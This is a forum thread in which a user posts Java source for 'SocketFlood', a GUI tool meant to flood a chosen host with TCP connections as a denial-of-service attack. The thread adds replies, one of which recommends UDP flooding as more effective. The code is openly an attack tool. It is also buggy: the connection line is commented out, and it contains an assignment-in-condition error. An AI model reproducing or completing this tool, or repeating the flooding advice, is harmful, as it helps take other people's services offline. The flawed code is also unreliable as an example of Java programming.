SocketFlood.

[Paradox]

This basically sends so much connections to a host.

SocketFlood.java

/*
 * SocketFlood.java
 * Main class for project.
 * Created by: Paradox
 * July 22, 2008
 */

import java.net.Socket;
import java.awt.BorderLayout;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
import javax.swing.JButton;
import javax.swing.JFrame;
import javax.swing.JMenuBar;
import javax.swing.JOptionPane;
import javax.swing.JScrollPane;
import javax.swing.JTextArea;
import javax.swing.JTextField;
import javax.swing.ScrollPaneConstants;

public class SocketFlood implements ActionListener{

	public Socket sock = null;
    public String host = "";//Host
    public int port = 80;// Port
    public int connections = 1000000000;// Connections it will send
    protected JFrame frame;
    public static Sock Sock;
    public boolean on = false;
    protected JScrollPane scrollPane;
    protected static JTextArea textArea;
    protected static JTextField textField;
    public JMenuBar menuBar;
    
    JButton Button1 = new JButton("Start");
    JButton Button2 = new JButton("Stop");
    JButton Button3 = new JButton("Set IP");
    
    private final static String newline = "\n";
    
    public static void main(String[] args)
	{
        new SocketFlood();
	}
    
    public SocketFlood() {
        loadGUI(true);
    }
    
    public void loadGUI(boolean load) {
    	 JFrame.setDefaultLookAndFeelDecorated(load);
         frame = new JFrame("SocketFlood! - Paradox");
         frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
         frame.setResizable(false);
         frame.setLayout(new BorderLayout());
         frame.setBounds(200, 200, 400, 300);
         menuBar = new JMenuBar();
         frame.add(menuBar, "North");
         menuBar.add(Button1);  menuBar.add(Button2);   menuBar.add(Button3);
         textArea = new JTextArea();
         textField = new JTextField();
         frame.add(textArea);
         frame.add(textField, "South");
         textField.addActionListener(this);
         Button1.addActionListener(this);
         Button2.addActionListener(this);
         Button3.addActionListener(this);
         JScrollPane scrollPane = new JScrollPane();
         scrollPane.setVerticalScrollBarPolicy(ScrollPaneConstants.VERTICAL_SCROLLBAR_ALWAYS);
         scrollPane.setAutoscrolls(false);
         scrollPane.setViewportView(textArea);
         frame.add(scrollPane);
         frame.setVisible(load);
         textArea.setEditable(false);
    }
    
    public void startDoS() {
        on = true;
        Sock = new Sock();
        (new Thread(Sock)).start();
    }
    
    public void actionPerformed(ActionEvent e) {
        	if(e.getSource() == Button1) {
        		startDoS();
        		textArea.append("DoS Started on host: "+host+newline);
        	} else if(e.getSource() == Button2) {
        		on = false;
        		textArea.append("DoS Stopped on host: "+host+newline);
        	} else if(e.getSource() == Button3) {
        		host = JOptionPane.showInputDialog("please enter the host you wish to DoS:", "");
        }
    }
}

Sock.java

public class Sock extends SocketFlood implements Runnable{
	
	public void run()
	{
		for(int i = 0; i < connections; i++)
		{
			if(on = true) {
			try
			{
				//sock = new Socket(host, port);
				System.out.println("Sent connection " + i + " to " + host + ": " + port);
			} catch(Exception e) {
				e.printStackTrace();
				}
	        }
		}
	}
}

[MeTh0Dz]

From what I read here, and I could be wrong because I don't know java that well.

Is that you are trying to flood with TCP, which doesn't really work that well.

You are much better off using UDP to flood.

[Prog4rammer]

Can You Tell me more for the Flood I'm don't understanded .. ?

Thanks

[GMVResources]

Paradox since this is a tutorial I think you should explain the lines of the code in the forums or in comments in the actual coding.